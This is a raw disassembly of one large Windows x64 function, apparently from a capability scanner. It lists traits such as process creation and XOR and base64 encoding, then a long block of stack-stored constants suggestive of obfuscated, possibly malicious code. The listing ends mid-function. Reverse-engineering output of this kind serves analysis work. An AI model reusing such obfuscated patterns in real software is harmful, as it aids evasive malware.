Function at 0x1400f8980
Capabilities:
Authenticate hmac
Create process on windows
Encode data using base64
Encode data using xor
Get file version info
Get session user name
Parse pe header

Disassembly:
push rbp
push rdi
push rsi
mov eax, 0x164c0
call fcn.1400e5300
sub rsp, rax
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x16460], rcx
mov qword [rbp + 0x16468], rdx
mov qword [rbp + 0x16470], r8
mov dword [rbp + 0x16478], r9d
mov byte [rbp + 0x44e5], 0x6e
mov byte [rbp + 0x44af], 0x18
mov dword [rbp + 0x162d4], 0x6b48b718
mov word [rbp + 0x162d2], 0x43e7
mov word [rbp + 0x162d0], 0x6e6
mov word [rbp + 0x162ce], 0x1e7
movabs rax, 0x755a9988c6e5c9de
mov qword [rbp + 0x4458], rax
movabs rax, 0xbf8db3b3aaacc03c
mov qword [rbp + 0x162c0], rax
movabs rax, 0x257de27e5843bcc4
mov qword [rbp + 0x4430], rax
mov word [rbp + 0x4426], 0x5363
mov byte [rbp + 0x162bf], 0x6a
mov word [rbp + 0x43d6], 0x73d5
mov byte [rbp + 0x162be], 0xd1
mov dword [rbp + 0x162b8], 0x3d680762
mov byte [rbp + 0x43bc], 0x5f
mov word [rbp + 0x439c], 0x25df
movabs rax, 0xae5b4def17512d76
mov qword [rbp + 0x162b0], rax
movabs rax, 0x3884035672538ba5
mov qword [rbp + 0x4380], rax
movabs rax, 0x17e03eaf20fcc00c
mov qword [rbp + 0x4378], rax
mov byte [rbp + 0x162af], 0xf
movabs rax, 0x5ed114d27a3d54d6
mov qword [rbp + 0x162a0], rax
movabs rax, 0x6fcb409e77d12178
mov qword [rbp + 0x4360], rax
mov word [rbp + 0x1629e], 0x1c2
movabs rax, 0x17781c155ca786d5
mov qword [rbp + 0x4350], rax
mov dword [rbp + 0x16298], 0xa6f04d17
mov dword [rbp + 0x16294], 0xae48bb04
mov dword [rbp + 0x16290], 0xf8e36d3
movabs rax, 0x7bfa5f24ed53f484
mov qword [rbp + 0x4300], rax
movabs rax, 0x7fea508914a7d52e
mov qword [rbp + 0x42e8], rax
mov dword [rbp + 0x42bc], 0x5eead018
mov byte [rbp + 0x1628f], 0x48
movabs rax, 0x9b6923b81998c9e
mov qword [rbp + 0x16280], rax
mov byte [rbp + 0x4299], 0x11
mov word [rbp + 0x1627e], 0xd89
movabs rax, 0x95ee6f08d5bf6894
mov qword [rbp + 0x4280], rax
mov dword [rbp + 0x427c], 0xdf626a24
mov word [rbp + 0x1627c], 0xa52
mov byte [rbp + 0x41f7], 0x6b
mov byte [rbp + 0x41f6], 0xa8
mov word [rbp + 0x41cc], 0x32a7
mov dword [rbp + 0x16278], 0x7279d385
mov byte [rbp + 0x16277], 0xa
mov dword [rbp + 0x16270], 0x1b1a8d54
mov dword [rbp + 0x1626c], 0xba47c3c7
mov byte [rbp + 0x1626b], 0x85
movabs rax, 0x3e1fd052ca31f786
mov qword [rbp + 0x16260], rax
mov byte [rbp + 0x1625f], 0x16
mov word [rbp + 0x40f6], 0x813
mov dword [rbp + 0x16258], 0x79715d62
movabs rax, 0xf0ea3a2ade84783
mov qword [rbp + 0x4090], rax
mov dword [rbp + 0x16254], 0xa9686532
movabs rax, 0x4a4dc91501d3931e
mov qword [rbp + 0x4060], rax
mov dword [rbp + 0x16250], 0x3f394a31
mov byte [rbp + 0x1624f], 0x63
movabs rax, 0xa67976bc91b6b552
mov qword [rbp + 0x4018], rax
mov byte [rbp + 0x4003], 0x93
movabs rax, 0xd7293cd5d30f519d
mov qword [rbp + 0x3fd8], rax
mov dword [rbp + 0x3fcc], 0x14ae52ec
mov word [rbp + 0x1624c], 0x311c
movabs rax, 0x3b8c0af0200a8282
mov qword [rbp + 0x16240], rax
movabs rax, 0x4d0bdf55c0e1d58e
mov qword [rbp + 0x16238], rax
movabs rax, 0xa66d80763ea9ed32
mov qword [rbp + 0x3f90], rax
movabs rax, 0x13ce5238e903e394
mov qword [rbp + 0x16230], rax
mov word [rbp + 0x3f6e], 0xa47
mov dword [rbp + 0x1622c], 0x8c718fdc
mov byte [rbp + 0x3f61], 0xc0
mov byte [rbp + 0x3f60], 0x43
mov byte [rbp + 0x3f3b], 0x58
mov byte [rbp + 0x3f1e], 1
movabs rax, 0x2b83d21aca933114
mov qword [rbp + 0x16220], rax
mov word [rbp + 0x1621e], 0xa5e
mov word [rbp + 0x3eb4], 0x3cb
mov dword [rbp + 0x16218], 0x1aebfa89
mov word [rbp + 0x16216], 0x67b
mov word [rbp + 0x16214], 0x292a
mov dword [rbp + 0x16210], 0x233c8f07
mov dword [rbp + 0x1620c], 0xdacde02c
mov byte [rbp + 0x3e67], 0x11
mov word [rbp + 0x3e46], 0x4f0
movabs rax, 0x7e141cbf81384774
mov qword [rbp + 0x3e30], rax
mov word [rbp + 0x3e18], 0x67e6
movabs rax, 0xa4f047cbb1fe0955
mov qword [rbp + 0x3e08], rax
mov byte [rbp + 0x3e05], 0xe
mov word [rbp + 0x1620a], 0x48aa
mov byte [rbp + 0x16209], 0x20
movabs rax, 0x2d85725a62250f19
mov qword [rbp + 0x3d40], rax
mov byte [rbp + 0x3d29], 0x32
mov byte [rbp + 0x16208], 0x14
movabs rax, 0x6cea698484d30195
mov qword [rbp + 0x16200], rax
mov dword [rbp + 0x161fc], 0x554eb678
mov byte [rbp + 0x3ce3], 0x7a
mov word [rbp + 0x161fa], 0x56e0
mov word [rbp + 0x3cce], 0xd93
mov dword [rbp + 0x3cc8], 0x6e257d11
mov byte [rbp + 0x3cc7], 0x29
mov word [rbp + 0x3cbc], 0x3377
mov dword [rbp + 0x161f4], 0x604f45b4
movabs rax, 0xe1d934b3af17f7af
mov qword [rbp + 0x161e8], rax
mov dword [rbp + 0x161e4], 0xb978eae6
mov byte [rbp + 0x3c61], 0x63
mov word [rbp + 0x161e2], 0x6252
mov word [rbp + 0x3c36], 0x2f32
mov dword [rbp + 0x161dc], 0x51ed1607
mov dword [rbp + 0x161d8], 0x40d0e5a4
mov word [rbp + 0x161d6], 0x91a
mov dword [rbp + 0x3b94], 0x1e1f104d
mov dword [rbp + 0x3b84], 0x91c2718
mov word [rbp + 0x3b82], 0x31ff
mov byte [rbp + 0x3b7d], 0xc6
mov dword [rbp + 0x161d0], 0x10893c02
movabs rax, 0x517be33b8520603b
mov qword [rbp + 0x3b48], rax
movabs rax, 0x48db4756d51097f7
mov qword [rbp + 0x161c8], rax
mov word [rbp + 0x3b00], 0x10b
mov word [rbp + 0x161c6], 0x425
mov dword [rbp + 0x3af4], 0x7286de5f
mov word [rbp + 0x3a52], 0x8a6
movabs rax, 0xcf781d98390aab5f
mov qword [rbp + 0x161b8], rax
mov dword [rbp + 0x161b4], 0xaade8d1
mov byte [rbp + 0x161b3], 0x4f
mov dword [rbp + 0x3a04], 0x881372bc
mov byte [rbp + 0x161b2], 0x3c
movabs rax, 0x1d05681d009763e3
mov qword [rbp + 0x39c8], rax
lea rax, [rbp + 0x39a0]
mov rcx, rax
call fcn.1400e57b0
movabs rax, 0x6cb9bdce9bb96e9a
mov qword [rbp + 0x3990], rax
movabs rax, 0xa977997dc80cbc29
mov qword [rbp + 0x3978], rax
mov byte [rbp + 0x3957], 0x2d
movabs rax, 0x4bc69cea182bebc9
mov qword [rbp + 0x161a8], rax
mov word [rbp + 0x161a6], 0x375
mov word [rbp + 0x390a], 0x5484
mov word [rbp + 0x161a4], 0x4cbb
movabs rax, 0xfd10a126c9dfc0aa
mov qword [rbp + 0x38e8], rax
movabs rax, 0x48c83fdd5a0a52f0
mov qword [rbp + 0x16198], rax
mov byte [rbp + 0x38e5], 0x88
mov byte [rbp + 0x16197], 0x87
mov dword [rbp + 0x38dc], 0xbce03936
mov dword [rbp + 0x16190], 0x7808314a
movabs rax, 0x4ad0d9c5e2093d3b
mov qword [rbp + 0x16188], rax
mov byte [rbp + 0x16187], 0x6f
mov word [rbp + 0x38ba], 0x7f8c
mov dword [rbp + 0x16180], 0xbdbd8038
mov byte [rbp + 0x38ad], 0xb5
mov word [rbp + 0x389e], 0x7f09
mov byte [rbp + 0x388d], 0x52
mov byte [rbp + 0x1617f], 0x21
mov byte [rbp + 0x1617e], 0x7c
mov byte [rbp + 0x1617d], 0xee
mov word [rbp + 0x1617a], 0x465
mov dword [rbp + 0x3848], 0xb5fd178b
mov word [rbp + 0x3834], 0x4cf
mov word [rbp + 0x37de], 0x4751
movabs rax, 0xbc97f154733571ca
mov qword [rbp + 0x37d0], rax
mov word [rbp + 0x16178], 0x49bc
mov word [rbp + 0x16176], 0x6453
movabs rax, 0x27ded43910c002ba
mov qword [rbp + 0x3780], rax
mov byte [rbp + 0x376f], 0xd
mov byte [rbp + 0x16175], 0xa8
movabs rax, 0x4f89205da15e64ae
mov qword [rbp + 0x16168], rax
mov word [rbp + 0x16166], 0xaf0
mov word [rbp + 0x16164], 0x2ff
mov word [rbp + 0x16162], 0x7c12
mov byte [rbp + 0x16161], 0x4b
mov word [rbp + 0x1615e], 0x773b
mov dword [rbp + 0x16158], 0xd755ebb
mov word [rbp + 0x16156], 0x5552
mov dword [rbp + 0x16150], 0xb0980c8f
mov dword [rbp + 0x36bc], 0x562fef4
mov word [rbp + 0x36ba], 0x1bf6
mov byte [rbp + 0x1614f], 0x44
mov word [rbp + 0x1614c], 0xea1
mov byte [rbp + 0x367b], 0x2d
mov dword [rbp + 0x16148], 0x75988e47
mov dword [rbp + 0x16144], 0x2ac4935c
mov dword [rbp + 0x3604], 0x4cd8edda
mov byte [rbp + 0x16143], 0x40
mov dword [rbp + 0x1613c], 0x1a779992
movabs rax, 0x701a1eba358a816e
mov qword [rbp + 0x16130], rax
mov dword [rbp + 0x35cc], 0x62a3f87c
mov word [rbp + 0x1612e], 0x3d45
movabs rax, 0xcde72162cbb93a85
mov qword [rbp + 0x16120], rax
mov dword [rbp + 0x1611c], 0x2be00438
movabs rax, 0x4dff32f5fac2c79f
mov qword [rbp + 0x35a0], rax
mov byte [rbp + 0x359f], 0x2d
movabs rax, 0x21c53f6fdd619824
mov qword [rbp + 0x3548], rax
movabs rax, 0x8265cf47bbbe4ebf
mov qword [rbp + 0x16110], rax
mov word [rbp + 0x3532], 0xd1e
mov word [rbp + 0x1610e], 0x92b
mov dword [rbp + 0x16108], 0x45d977ab
lea rax, [rbp + 0x34d0]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call fcn.1400e5760
movabs rax, 0x6f5df88b6199ed47
mov qword [rbp + 0x16100], rax
movabs rax, 0xf839b3e2ba0bf500
mov qword [rbp + 0x160f8], rax
movabs rax, 0x26e57b42434dbb12
mov qword [rbp + 0x160f0], rax
mov byte [rbp + 0x160ef], 0x3f
mov dword [rbp + 0x160e8], 0x4999abe7
mov dword [rbp + 0x160e4], 0x1e1254f0
movabs rax, 0x6eea7e1368723709
mov qword [rbp + 0x160d8], rax
mov dword [rbp + 0x160d4], 0x756f8fa7
mov word [rbp + 0x160d2], 0xe12
mov word [rbp + 0x3476], 0x97d
movabs rax, 0xafd7ca86e2ec5df2
mov qword [rbp + 0x160c8], rax
mov dword [rbp + 0x343c], 0x8c8c594c
mov byte [rbp + 0x160c7], 0x54
mov word [rbp + 0x3436], 0x13aa
mov word [rbp + 0x3432], 0xc20
mov byte [rbp + 0x160c6], 0x20
mov dword [rbp + 0x160c0], 0x2a2984fa
mov byte [rbp + 0x33db], 0x44
mov dword [rbp + 0x33cc], 0x2e75db3
mov byte [rbp + 0x33a5], 3
mov dword [rbp + 0x160bc], 0xc05ccd1f
mov dword [rbp + 0x160b8], 0x6af501ed
mov byte [rbp + 0x160b7], 0xf3
mov byte [rbp + 0x160b6], 0x54
movabs rax, 0xcbce932b6af14dcf
mov qword [rbp + 0x160a8], rax
mov dword [rbp + 0x160a4], 0x3d522a52
mov dword [rbp + 0x32ec], 0xa2104758
movabs rax, 0xa28bec18cfb307b8
mov qword [rbp + 0x16098], rax
mov byte [rbp + 0x32ad], 0x68
movabs rax, 0x52cd59192d27e47f
mov qword [rbp + 0x16090], rax
mov word [rbp + 0x1608e], 0x30
mov dword [rbp + 0x16088], 0xb1d0c3
movabs rax, 0x2d5a41e536f6dea8
mov qword [rbp + 0x16080], rax
mov dword [rbp + 0x3274], 0x9c67f82a
movabs rax, 0x247b8fb14fab7745
mov qword [rbp + 0x3248], rax
mov dword [rbp + 0x1607c], 0x7c1bc904
mov word [rbp + 0x322e], 0xfde
mov dword [rbp + 0x321c], 0x5385ea03
movabs rax, 0x968659f2ebc22702
mov qword [rbp + 0x3210], rax
mov byte [rbp + 0x320b], 0xad
mov dword [rbp + 0x3204], 0xbec1711
movabs rax, 0x18b1e87bbe0da148
mov qword [rbp + 0x16070], rax
mov word [rbp + 0x1606e], 0x2c3
mov byte [rbp + 0x1606d], 0x70
mov word [rbp + 0x31e0], 0x7ca1
mov byte [rbp + 0x31df], 0x1e
movabs rax, 0x76b0b81fe5439586
mov qword [rbp + 0x16060], rax
mov byte [rbp + 0x1605f], 0x33
mov byte [rbp + 0x1605e], 0x74
mov word [rbp + 0x1605c], 0x6d8d
mov byte [rbp + 0x3196], 0x1a
mov dword [rbp + 0x16058], 0x7879e73
mov word [rbp + 0x315e], 0x51d
mov dword [rbp + 0x16054], 0x5bea4734
mov word [rbp + 0x314e], 0x295
mov word [rbp + 0x3134], 0x6cb
mov dword [rbp + 0x16050], 0xe252300e
mov dword [rbp + 0x1604c], 0x1e3b1068
mov dword [rbp + 0x16048], 0x97d8cb5
mov dword [rbp + 0x16044], 0xf35e7d96
mov dword [rbp + 0x16040], 0x355a263a
movabs rax, 0x52bd247d64a3301b
mov qword [rbp + 0x16038], rax
mov dword [rbp + 0x16034], 0x48b0de9f
mov dword [rbp + 0x16030], 0x529a7ffa
movabs rax, 0x6d3061b375e17f9e
mov qword [rbp + 0x16028], rax
mov byte [rbp + 0x16027], 0x52
mov dword [rbp + 0x307c], 0x5dcd65be
mov word [rbp + 0x3052], 0x425c
mov dword [rbp + 0x16020], 0xac9ece92
mov dword [rbp + 0x301c], 0x694dd425
mov byte [rbp + 0x300f], 0x7a
mov dword [rbp + 0x1601c], 0x8ecfe2e3
mov dword [rbp + 0x16018], 0x8cc1aa28
mov byte [rbp + 0x2fc7], 0x42
movabs rax, 0xe9f8e59cc32f0e2c
mov qword [rbp + 0x16010], rax
mov word [rbp + 0x1600e], 0xd7f
mov word [rbp + 0x2f8c], 0xe5f
mov dword [rbp + 0x2f74], 0x486b3035
movabs rax, 0x2d68e6f501f99b88
mov qword [rbp + 0x16000], rax
mov word [rbp + 0x2f64], 0x5dec
mov word [rbp + 0x15ffe], 0x31c
mov dword [rbp + 0x2f24], 0x51476e58
movabs rax, 0xda3f03a049c73c10
mov qword [rbp + 0x2f18], rax
mov byte [rbp + 0x2efe], 0x61
mov dword [rbp + 0x15ff8], 0xbeea581
mov word [rbp + 0x15ff6], 0x57
mov word [rbp + 0x2e88], 0x359a
mov word [rbp + 0x2e86], 0x53
mov word [rbp + 0x2e4e], 0xc1a
mov word [rbp + 0x2e3a], 0x4c
movabs rax, 0xf70dfc99de92a01f
mov qword [rbp + 0x15fe8], rax
mov word [rbp + 0x15fe6], 0x10a3
mov word [rbp + 0x15fe4], 0x28d
mov byte [rbp + 0x2dcf], 0x47
mov dword [rbp + 0x2dc8], 0x92e3416
mov byte [rbp + 0x2dbf], 0x6c
mov byte [rbp + 0x2dad], 0x72
mov byte [rbp + 0x15fe3], 0xaa
lea rax, [rbp + 0x2d80]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call fcn.1400e5760
mov dword [rbp + 0x15fdc], 0x68767f3d
mov byte [rbp + 0x2cfd], 0x26
mov byte [rbp + 0x15fdb], 0x3b
movabs rax, 0x6120b47f94a4e683
mov qword [rbp + 0x2cc8], rax
mov byte [rbp + 0x2cab], 0x6e
mov dword [rbp + 0x2ca4], 0x4f0739d2
mov word [rbp + 0x2c46], 0x3c5
movabs rax, 0x2ce084cd9edcb3d9
mov qword [rbp + 0x2c28], rax
mov dword [rbp + 0x2c24], 0x7ed3ea4d
mov word [rbp + 0x15fd8], 0x738
mov word [rbp + 0x15fd6], 0x3e66
mov byte [rbp + 0x15fd5], 0xb3
mov byte [rbp + 0x15fd4], 0xa6
mov dword [rbp + 0x15fd0], 0xa0728d5a
mov dword [rbp + 0x2bd8], 0xda2806b1
mov word [rbp + 0x2bce], 0x5315
mov dword [rbp + 0x2b8c], 0x77277207
mov byte [rbp + 0x15fcf], 0x4e
mov word [rbp + 0x15fcc], 0x6f5a
mov word [rbp + 0x2b5e], 0xc3f
movabs rax, 0x15d2d0517db7e20b
mov qword [rbp + 0x15fc0], rax
mov byte [rbp + 0x15fbf], 0xdf
mov byte [rbp + 0x2b3b], 0x41
mov dword [rbp + 0x2b34], 0xc262fe60
mov dword [rbp + 0x15fb8], 0xfa256e6f
mov word [rbp + 0x15fb6], 0x174e
mov word [rbp + 0x2ad2], 0xaf8
mov word [rbp + 0x2ace], 0x77e
mov byte [rbp + 0x2a8f], 0x50
mov byte [rbp + 0x15fb5], 0x67
mov byte [rbp + 0x15fb4], 0x7b
mov dword [rbp + 0x15fb0], 0x3d5f1bbd
mov word [rbp + 0x15fae], 0x99e
mov word [rbp + 0x15fac], 0x1365
mov byte [rbp + 0x2a4f], 0x22
mov dword [rbp + 0x2a3c], 0xe00ba26
mov byte [rbp + 0x15fab], 6
mov byte [rbp + 0x2a32], 0xa7
mov byte [rbp + 0x2a1a], 0x2e
mov dword [rbp + 0x15fa4], 0xc77b5308
mov dword [rbp + 0x15fa0], 0xdca66064
lea rax, [rbp + 0x29d0]
mov rcx, rax
call fcn.1400e57b0
mov byte [rbp + 0x29cf], 0x4d
movabs rax, 0x6ff8ac69b7349361
mov qword [rbp + 0x15f98], rax
mov dword [rbp + 0x15f94], 0x1dc8b1a0
mov byte [rbp + 0x15f93], 0xa
movabs rax, 0x39f4c88a666073b4
mov qword [rbp + 0x15f88], rax
mov word [rbp + 0x15f86], 0xb05
mov byte [rbp + 0x15f85], 0x75
mov byte [rbp + 0x15f84], 0x61
mov byte [rbp + 0x296a], 0x1b
mov word [rbp + 0x2968], 0x7e7c
mov byte [rbp + 0x295f], 0x11
mov byte [rbp + 0x15f83], 0xad
movabs rax, 0x69fe2f9fce6941ca
mov qword [rbp + 0x15f78], rax
mov dword [rbp + 0x15f74], 0x7ec813be
mov word [rbp + 0x15f72], 0x76e9
mov word [rbp + 0x15f70], 0x6af6
mov word [rbp + 0x15f6e], 0x3a80
mov byte [rbp + 0x15f6d], 0x20
movabs rax, 0x230cd0fdfe1b3f7c
mov qword [rbp + 0x15f60], rax
movabs rax, 0x1dacc5fbf000fc3b
mov qword [rbp + 0x2900], rax
mov dword [rbp + 0x28ec], 0x32d3d080
mov byte [rbp + 0x15f5f], 0xa9
mov dword [rbp + 0x28d8], 0x3e381cdc
mov word [rbp + 0x15f5c], 0x37b9
mov byte [rbp + 0x15f5b], 0xe9
mov word [rbp + 0x28a4], 0x312
mov word [rbp + 0x15f58], 0x20b
mov word [rbp + 0x15f56], 0x52b
mov dword [rbp + 0x287c], 0xe51d8cd9
mov byte [rbp + 0x287b], 0x54
movabs rax, 0x476d7c9674fca0ea
mov qword [rbp + 0x2858], rax
mov byte [rbp + 0x2855], 2
movabs rax, 0x728e0a2a4dbb7172
mov qword [rbp + 0x15f48], rax
mov dword [rbp + 0x15f44], 0x95eda43f
mov dword [rbp + 0x15f40], 0xe82028a7
movabs rax, 0x35cdfd3cd8233c6
mov qword [rbp + 0x2808], rax
mov word [rbp + 0x15f3e], 0xea3
mov dword [rbp + 0x15f38], 0x3ef82419
mov byte [rbp + 0x27f9], 0x50
mov dword [rbp + 0x15f34], 0xb959008b
mov dword [rbp + 0x27c4], 0x4c8b45e8
mov dword [rbp + 0x279c], 0x3e6d5c9b
mov dword [rbp + 0x15f30], 0xcbdd226d
movabs rax, 0x3ac2dfc8172855df
mov qword [rbp + 0x15f28], rax
movabs rax, 0x3215a564cf5860f7
mov qword [rbp + 0x15f20], rax
movabs rax, 0x412dbbad4132bf8b
mov qword [rbp + 0x15f18], rax
mov word [rbp + 0x15f16], 0x1cee
movabs rax, 0x241d341de5729ac7
mov qword [rbp + 0x2768], rax
movabs rax, 0x6e0ffba644202ba4
mov qword [rbp + 0x15f08], rax
mov byte [rbp + 0x2750], 0xc7
movabs rax, 0x6f005449dfc8aa6e
mov qword [rbp + 0x15f00], rax
movabs rax, 0x92674fc69c8245fb
mov qword [rbp + 0x26d0], rax
movabs rax, 0x87501fe102ebb9a
mov qword [rbp + 0x26a8], rax
movabs rax, 0x458c6983555f66b8
mov qword [rbp + 0x26a0], rax
mov dword [rbp + 0x15efc], 0x16e0bfb7
mov dword [rbp + 0x264c], 0x82b2a07d
mov word [rbp + 0x15efa], 0xc19
mov word [rbp + 0x15ef8], 0x260
movabs rax, 0x3a3927e19eb0ba77
mov qword [rbp + 0x15ef0], rax
mov word [rbp + 0x15eee], 0x191b
movabs rax, 0x6b92d6513afa39b1
mov qword [rbp + 0x25f0], rax
mov word [rbp + 0x25e4], 0x6614
mov byte [rbp + 0x25cb], 0x49
mov dword [rbp + 0x15ee8], 0x3d05d90
mov word [rbp + 0x25bc], 0x5439
mov dword [rbp + 0x25b4], 0x61375ed1
movabs rax, 0xd2a533afcdcf1237
mov qword [rbp + 0x25a8], rax
movabs rax, 0x2d1ad52366cc515d
mov qword [rbp + 0x2588], rax
movabs rax, 0x50e28c813c86fe2b
mov qword [rbp + 0x2568], rax
mov byte [rbp + 0x2565], 0xa
mov dword [rbp + 0x15ee4], 0x21d8cf9
movabs rax, 0x57d2cd35fbfcbc85
mov qword [rbp + 0x15ed8], rax
mov word [rbp + 0x15ed6], 0x4544
mov word [rbp + 0x15ed4], 0x5699
movabs rax, 0x3b87016f5ca80f76
mov qword [rbp + 0x15ec8], rax
mov byte [rbp + 0x15ec7], 0x50
mov byte [rbp + 0x15ec6], 0x2d
movabs rax, 0x8ea300753d0353c5
mov qword [rbp + 0x15eb8], rax
mov word [rbp + 0x15eb6], 0x5bf1
mov word [rbp + 0x15eb4], 0xa9b
mov byte [rbp + 0x248b], 0x5d
movabs rax, 0xdc0423d97b9d6b43
mov qword [rbp + 0x2478], rax
mov word [rbp + 0x15eb2], 0x61bf
mov word [rbp + 0x2450], 0xa78
mov word [rbp + 0x244e], 0x23e
mov word [rbp + 0x242e], 0x19ea
mov byte [rbp + 0x241a], 0x62
movabs rax, 0x36b3489814b84f4a
mov qword [rbp + 0x2400], rax
movabs rax, 0x35b8344c165d527f
mov qword [rbp + 0x23f8], rax
mov word [rbp + 0x23e0], 0x4e4
mov byte [rbp + 0x23a7], 0x47
mov byte [rbp + 0x15eb1], 0x3b
mov dword [rbp + 0x23a0], 0x73e592f2
mov byte [rbp + 0x2387], 0x90
mov byte [rbp + 0x15eb0], 0x5d
mov dword [rbp + 0x235c], 0x78eee530
mov word [rbp + 0x15eae], 0x222d
mov word [rbp + 0x22fa], 0x6135
mov byte [rbp + 0x15ead], 0x73
mov byte [rbp + 0x15eac], 0x6c
movabs rax, 0x426231949852c51e
mov qword [rbp + 0x15ea0], rax
movabs rax, 0x1c3ee990edd21e1e
mov qword [rbp + 0x2238], rax
movabs rax, 0xee58041b403f80ea
mov qword [rbp + 0x15e98], rax
mov word [rbp + 0x15e96], 0x7cc
mov dword [rbp + 0x15e90], 0xacd43135
mov word [rbp + 0x2202], 0x1ee
mov byte [rbp + 0x15e8f], 0xee
movabs rax, 0x6012f7f05b50369f
mov qword [rbp + 0x15e80], rax
mov dword [rbp + 0x15e7c], 0x7791a3ea
movabs rax, 0x377082b3862b9198
mov qword [rbp + 0x15e70], rax
mov word [rbp + 0x15e6e], 0x5d1e
mov word [rbp + 0x2132], 0x657
mov byte [rbp + 0x15e6d], 0x26
movabs rax, 0x994c44136192868b
mov qword [rbp + 0x15e60], rax
movabs rax, 0xcb6edf01c886eca4
mov qword [rbp + 0x15e58], rax
mov word [rbp + 0x15e56], 0x6f9
movabs rax, 0x56bd402289ca5c13
mov qword [rbp + 0x20a8], rax
mov dword [rbp + 0x15e50], 0x3dc140ae
movabs rax, 0x6e2a04f5cc3d3157
mov qword [rbp + 0x15e48], rax
mov byte [rbp + 0x2073], 0x77
mov byte [rbp + 0x201b], 0x90
movabs rax, 0x3babfa6d521bdc55
mov qword [rbp + 0x15e40], rax
mov byte [rbp + 0x15e3f], 0x65
mov dword [rbp + 0x1fd0], 0x483f14d0
mov dword [rbp + 0x15e38], 0x4bfc5d8
mov byte [rbp + 0x15e37], 0xb2
mov dword [rbp + 0x1fc8], 0x3da97d92
mov dword [rbp + 0x15e30], 0x5b1bc59a
mov dword [rbp + 0x15e2c], 0x69a9d6f9
mov dword [rbp + 0x1f90], 0x7ccecab6
mov word [rbp + 0x15e2a], 0x270c
mov byte [rbp + 0x15e29], 0x48
mov dword [rbp + 0x15e24], 0x6fafb34e
mov byte [rbp + 0x15e23], 0x4d
movabs rax, 0x66d0fd6e23d53863
mov qword [rbp + 0x15e18], rax
mov byte [rbp + 0x1f5d], 0x22
mov byte [rbp + 0x1f5c], 0x12
mov word [rbp + 0x15e16], 0x5929
mov dword [rbp + 0x1f54], 0xce90c1d0
movabs rax, 0xac7e19dc6fd8bd06
mov qword [rbp + 0x15e08], rax
mov word [rbp + 0x1f22], 0x871
mov dword [rbp + 0x15e04], 0x777b8656
movabs rax, 0x3cba9d34a4e705ab
mov qword [rbp + 0x15df8], rax
movabs rax, 0x788b18236976b8a7
mov qword [rbp + 0x1ef8], rax
mov dword [rbp + 0x15df4], 0x981ae94d
mov word [rbp + 0x15df2], 0x3c8
mov dword [rbp + 0x1ed0], 0x42295746
mov word [rbp + 0x15df0], 0x111
mov byte [rbp + 0x15def], 0xfc
mov dword [rbp + 0x15de8], 0x23cab4bd
movabs rax, 0x5b29b2301e7af2b5
mov qword [rbp + 0x15de0], rax
mov word [rbp + 0x1e5c], 0xe24
movabs rax, 0x12396a6a69a88757
mov qword [rbp + 0x15dd8], rax
mov word [rbp + 0x15dd6], 0x83b
movabs rax, 0x5e10967ca6635369
mov qword [rbp + 0x15dc8], rax
mov word [rbp + 0x15dc6], 0xaad
mov byte [rbp + 0x1e27], 0x64
mov byte [rbp + 0x1e1c], 0xab
mov word [rbp + 0x1df4], 0x1eb2
mov word [rbp + 0x15dc4], 0x7918
movabs rax, 0x34a0e843b654631f
mov qword [rbp + 0x15db8], rax
mov word [rbp + 0x1de4], 0x6b4
mov word [rbp + 0x1dd4], 0x21f
movabs rax, 0x28f9fcf02be9ab55
mov qword [rbp + 0x15db0], rax
mov byte [rbp + 0x15daf], 0xb8
mov dword [rbp + 0x15da8], 0x96bc75c3
movabs rax, 0x7fe7dabc8dac170f
mov qword [rbp + 0x1db0], rax
mov byte [rbp + 0x1d83], 0x44
mov word [rbp + 0x1d76], 0xbb5
mov dword [rbp + 0x15da4], 0x5e7ec813
mov dword [rbp + 0x15da0], 0x4c5b9d42
movabs rax, 0x2407ead5eaba7768
mov qword [rbp + 0x15d98], rax
mov dword [rbp + 0x1d5c], 0x40d45db2
movabs rax, 0x4675645776a6c9f0
mov qword [rbp + 0x15d90], rax
mov dword [rbp + 0x15d8c], 0x2a754f8c
mov dword [rbp + 0x15d88], 0x1fab21c6
mov word [rbp + 0x1d2e], 0xc65
mov byte [rbp + 0x15d87], 0x73
movabs rax, 0x6de29b6fb4b87eca
mov qword [rbp + 0x1d08], rax
mov byte [rbp + 0x15d86], 0x61
mov dword [rbp + 0x1cf8], 0x4dad9211
movabs rax, 0x58a615cc0dfeeb79
mov qword [rbp + 0x1ce8], rax
mov byte [rbp + 0x1cc3], 0x38
mov dword [rbp + 0x15d80], 0x2feb187d
mov dword [rbp + 0x1ca4], 0x643b8b0c
movabs rax, 0x5423a369ab9b3367
mov qword [rbp + 0x15d78], rax
mov word [rbp + 0x15d76], 0x924
mov byte [rbp + 0x15d75], 0x75
mov word [rbp + 0x15d72], 0x2890
mov byte [rbp + 0x15d71], 0x2e
mov byte [rbp + 0x1c4d], 0x59
mov byte [rbp + 0x15d70], 0x44
mov word [rbp + 0x15d6e], 0x1b2
movabs rax, 0x41102e1d01490f90
mov qword [rbp + 0x15d60], rax
mov byte [rbp + 0x1c2a], 0x44
movabs rax, 0x37833b68ee1daf84
mov qword [rbp + 0x15d58], rax
mov dword [rbp + 0x15d54], 0x1c0fa730
mov word [rbp + 0x15d52], 0x473d
mov dword [rbp + 0x1bf8], 0x56eaa385
mov byte [rbp + 0x15d51], 0x1a
movabs rax, 0xd0bf4f86c1408ba
mov qword [rbp + 0x15d48], rax
mov word [rbp + 0x15d46], 0x2e9c
mov byte [rbp + 0x15d45], 0x13
mov byte [rbp + 0x15d44], 0x22
movabs rax, 0xa477d0b84b14fc18
mov qword [rbp + 0x1bc8], rax
mov word [rbp + 0x15d42], 0x21c2
mov dword [rbp + 0x1bac], 0x2787c57
mov word [rbp + 0x15d40], 0xb0b
mov dword [rbp + 0x15d3c], 0x30c84d61
mov byte [rbp + 0x1b7f], 0x78
mov word [rbp + 0x1b52], 0x5b1e
mov dword [rbp + 0x15d38], 0x36614d2e
mov word [rbp + 0x15d36], 0x5fb
mov byte [rbp + 0x15d35], 0x23
movabs rax, 0x72068d21a5d39725
mov qword [rbp + 0x15d28], rax
mov byte [rbp + 0x1aff], 0x6d
movabs rax, 0xf67d25447ab355f0
mov qword [rbp + 0x15d20], rax
movabs rax, 0x5ed21bb26959b744
mov qword [rbp + 0x15d18], rax
mov byte [rbp + 0x1ad7], 0xd
mov word [rbp + 0x15d16], 0xd9c
mov word [rbp + 0x1aa6], 0x6967
mov dword [rbp + 0x15d10], 0x54220a65
mov byte [rbp + 0x15d0f], 0xdc
